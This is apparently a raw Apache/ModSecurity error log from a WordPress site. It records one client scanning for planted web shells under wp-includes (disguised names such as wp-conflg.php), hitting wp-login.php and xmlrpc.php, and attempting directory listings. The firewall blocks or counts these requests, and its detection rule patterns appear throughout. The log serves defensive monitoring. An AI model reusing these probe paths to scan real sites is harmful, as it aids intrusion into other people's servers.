[Thu Dec 11 04:45:27.019169 2025] [:error] [pid 58099:tid 58108] [client 4.193.208.244:50681] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aTnb58KZVSF_bdPFqRgmHwAAAMc"], referer: https://www.yahoo.com/
[Thu Dec 11 04:45:30.208049 2025] [:error] [pid 27459:tid 27480] [client 4.193.208.244:52742] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aTnb6lhPEXihPBKMpRNdpQAAARM"], referer: https://duckduckgo.com/
[Thu Dec 11 04:45:32.906847 2025] [:error] [pid 27459:tid 27467] [client 4.193.208.244:50686] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aTnb7FhPEXihPBKMpRNdqwAAAQY"], referer: https://www.bing.com/
[Thu Dec 11 04:45:44.836263 2025] [:error] [pid 57991:tid 58035] [client 4.193.208.244:50640] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aTnb-KPyGmNXA2ZsETbYgwAAAE0"], referer: https://www.bing.com/
[Thu Dec 11 04:45:45.170995 2025] [:error] [pid 57990:tid 57997] [client 4.193.208.244:50660] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aTnb-QqZT_dc36fQdXGqBwAAAAI"], referer: https://www.google.com/
[Thu Dec 11 04:45:48.708202 2025] [:error] [pid 58099:tid 58109] [client 4.193.208.244:61618] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aTnb_MKZVSF_bdPFqRgmOQAAAMg"], referer: https://www.bing.com/
[Thu Dec 11 04:45:51.458126 2025] [:error] [pid 58099:tid 58106] [client 4.193.208.244:17258] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aTnb_8KZVSF_bdPFqRgmPAAAAMU"], referer: https://www.google.co.uk/
[Thu Dec 11 04:45:54.497877 2025] [:error] [pid 57992:tid 58061] [client 4.193.208.244:50642] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aTncAuUeau0BMFF2vHnU1gAAAIw"], referer: https://www.google.co.uk/
[Thu Dec 11 04:45:57.651284 2025] [:error] [pid 58099:tid 58116] [client 4.193.208.244:61582] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aTncBcKZVSF_bdPFqRgmPwAAAM8"], referer: https://www.bing.com/
[Thu Dec 11 04:45:59.243456 2025] [:error] [pid 57990:tid 57998] [client 4.193.208.244:50666] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-db-array.php"] [unique_id "aTncBwqZT_dc36fQdXGqFwAAAAM"], referer: https://www.google.co.uk/
[Thu Dec 11 04:46:44.893830 2025] [:error] [pid 57990:tid 58007] [client 4.193.208.244:61610] [client 4.193.208.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.193.208.244, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTncNAqZT_dc36fQdXGqOQAAAAw"], referer: https://www.yahoo.com/
[Thu Dec 11 04:48:08.916924 2025] [:error] [pid 27459:tid 27481] [client 4.193.208.244:65483] [client 4.193.208.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.208.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTnciFhPEXihPBKMpRNemAAAARQ"], referer: https://www.google.de/
[Thu Dec 11 04:48:15.927049 2025] [autoindex:error] [pid 57990:tid 57999] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Dec 11 04:48:16.067968 2025] [autoindex:error] [pid 57990:tid 57997] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Thu Dec 11 04:48:20.436419 2025] [autoindex:error] [pid 27459:tid 27465] [client 4.193.208.244:65483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Thu Dec 11 04:48:20.637317 2025] [:error] [pid 57990:tid 57996] [client 4.193.208.244:65057] [client 4.193.208.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.208.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aTnclAqZT_dc36fQdXGqzwAAAAE"], referer: https://www.bing.com/
[Thu Dec 11 04:48:22.587377 2025] [:error] [pid 27459:tid 27485] [client 4.193.208.244:65483] [client 4.193.208.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.208.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aTncllhPEXihPBKMpRNeywAAARg"], referer: https://www.bing.com/
[Thu Dec 11 04:48:30.211971 2025] [autoindex:error] [pid 57990:tid 58000] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Dec 11 04:48:43.593513 2025] [authz_core:error] [pid 57990:tid 57996] [client 4.193.208.244:65057] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/wflogs/, referer: https://www.google.de/
[Thu Dec 11 04:48:43.692460 2025] [autoindex:error] [pid 57990:tid 58017] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Dec 11 04:48:43.804414 2025] [access_compat:error] [pid 57990:tid 57995] [client 4.193.208.244:65057] AH01797: client denied by server configuration: /home/vetstars/public_html/wp-content/updraft/, referer: https://www.google.co.uk/
[Thu Dec 11 04:49:04.789249 2025] [autoindex:error] [pid 27459:tid 27465] [client 4.193.208.244:65483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Dec 11 04:49:04.990989 2025] [autoindex:error] [pid 57990:tid 58012] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Dec 11 04:49:05.092686 2025] [autoindex:error] [pid 57990:tid 57995] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Dec 11 04:49:05.201348 2025] [autoindex:error] [pid 57990:tid 58010] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Dec 11 04:49:05.307798 2025] [autoindex:error] [pid 57990:tid 58004] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Dec 11 04:49:05.870928 2025] [autoindex:error] [pid 57990:tid 58007] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Dec 11 04:49:06.057844 2025] [autoindex:error] [pid 57990:tid 58011] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Thu Dec 11 04:49:06.171060 2025] [autoindex:error] [pid 57990:tid 57997] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Dec 11 04:49:06.264030 2025] [autoindex:error] [pid 57990:tid 58008] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Dec 11 04:49:06.356882 2025] [autoindex:error] [pid 57990:tid 57998] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Dec 11 04:49:06.467444 2025] [autoindex:error] [pid 57990:tid 58014] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Dec 11 04:49:06.808643 2025] [autoindex:error] [pid 57990:tid 58018] [client 4.193.208.244:65057] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Dec 11 04:49:07.217657 2025] [:error] [pid 57990:tid 58016] [client 4.193.208.244:65057] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aTncwwqZT_dc36fQdXGrNQAAABU"], referer: https://www.google.de/
[Thu Dec 11 04:49:09.191965 2025] [:error] [pid 58099:tid 58110] [client 4.193.208.244:52687] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aTncxcKZVSF_bdPFqRgncwAAAMk"], referer: https://www.google.co.uk/
[Thu Dec 11 04:49:10.073777 2025] [:error] [pid 27459:tid 27472] [client 4.193.208.244:49637] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aTncxlhPEXihPBKMpRNfVwAAAQs"], referer: https://www.google.fr/
[Thu Dec 11 04:49:11.004126 2025] [:error] [pid 27459:tid 27481] [client 4.193.208.244:49632] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aTncx1hPEXihPBKMpRNfXQAAARQ"], referer: https://www.yahoo.com/
[Thu Dec 11 04:49:12.386110 2025] [:error] [pid 27459:tid 27468] [client 4.193.208.244:50914] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aTncyFhPEXihPBKMpRNfYQAAAQc"], referer: https://www.google.co.uk/
[Thu Dec 11 04:49:13.159330 2025] [autoindex:error] [pid 27459:tid 27463] [client 4.193.208.244:16764] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Dec 11 04:49:13.282912 2025] [autoindex:error] [pid 27459:tid 27473] [client 4.193.208.244:16764] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Thu Dec 11 04:49:13.386331 2025] [:error] [pid 27459:tid 27462] [client 4.193.208.244:16764] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/search/index.php"] [unique_id "aTncyVhPEXihPBKMpRNfaAAAAQE"], referer: https://www.bing.com/
[Thu Dec 11 04:49:14.633011 2025] [:error] [pid 57992:tid 58063] [client 4.193.208.244:50936] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aTncyuUeau0BMFF2vHnWVgAAAI4"], referer: https://www.google.de/
[Thu Dec 11 04:49:16.209807 2025] [:error] [pid 27459:tid 27462] [client 4.193.208.244:49647] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aTnczFhPEXihPBKMpRNfbgAAAQE"], referer: https://duckduckgo.com/
[Thu Dec 11 04:49:17.274290 2025] [:error] [pid 58099:tid 58110] [client 4.193.208.244:50908] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aTnczcKZVSF_bdPFqRgnewAAAMk"], referer: https://www.google.com/
[Thu Dec 11 04:49:18.561527 2025] [:error] [pid 57992:tid 58062] [client 4.193.208.244:64263] [client 4.193.208.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aTnczuUeau0BMFF2vHnWXQAAAI0"], referer: https://www.google.co.uk/
[Thu Dec 11 04:49:29.445045 2025] [autoindex:error] [pid 58099:tid 58109] [client 4.193.208.244:16713] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Thu Dec 11 04:49:29.545488 2025] [autoindex:error] [pid 58099:tid 58108] [client 4.193.208.244:16713] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Dec 11 04:49:29.648285 2025] [autoindex:error] [pid 58099:tid 58121] [client 4.193.208.244:16713] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Dec 11 04:49:29.761167 2025] [autoindex:error] [pid 58099:tid 58119] [client 4.193.208.244:16713] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Thu Dec 11 04:49:29.859336 2025] [autoindex:error] [pid 58099:tid 58107] [client 4.193.208.244:16713] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Thu Dec 11 04:49:39.352058 2025] [:error] [pid 58099:tid 58115] [client 4.193.208.244:16630] [client 4.193.208.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.208.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTnc48KZVSF_bdPFqRgnrwAAAM4"], referer: https://www.google.fr/
[Thu Dec 11 04:49:45.541139 2025] [:error] [pid 58099:tid 58104] [client 4.193.208.244:16630] [client 4.193.208.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.208.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTnc6cKZVSF_bdPFqRgnvwAAAMM"], referer: https://www.yahoo.com/
[Thu Dec 11 05:53:36.388769 2025] [:error] [pid 27459:tid 27475] [client 216.24.219.225:61463] [client 216.24.219.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTnr4FhPEXihPBKMpRN09gAAAQ4"]
[Thu Dec 11 07:29:52.942837 2025] [:error] [pid 58099:tid 58102] [client 185.117.225.149:57512] [client 185.117.225.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.149, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aToCcMKZVSF_bdPFqRhRuQAAAME"]
[Thu Dec 11 07:30:01.643350 2025] [:error] [pid 27459:tid 27461] [client 185.117.225.149:57544] [client 185.117.225.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.149, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aToCeVhPEXihPBKMpROPMgAAAQA"]
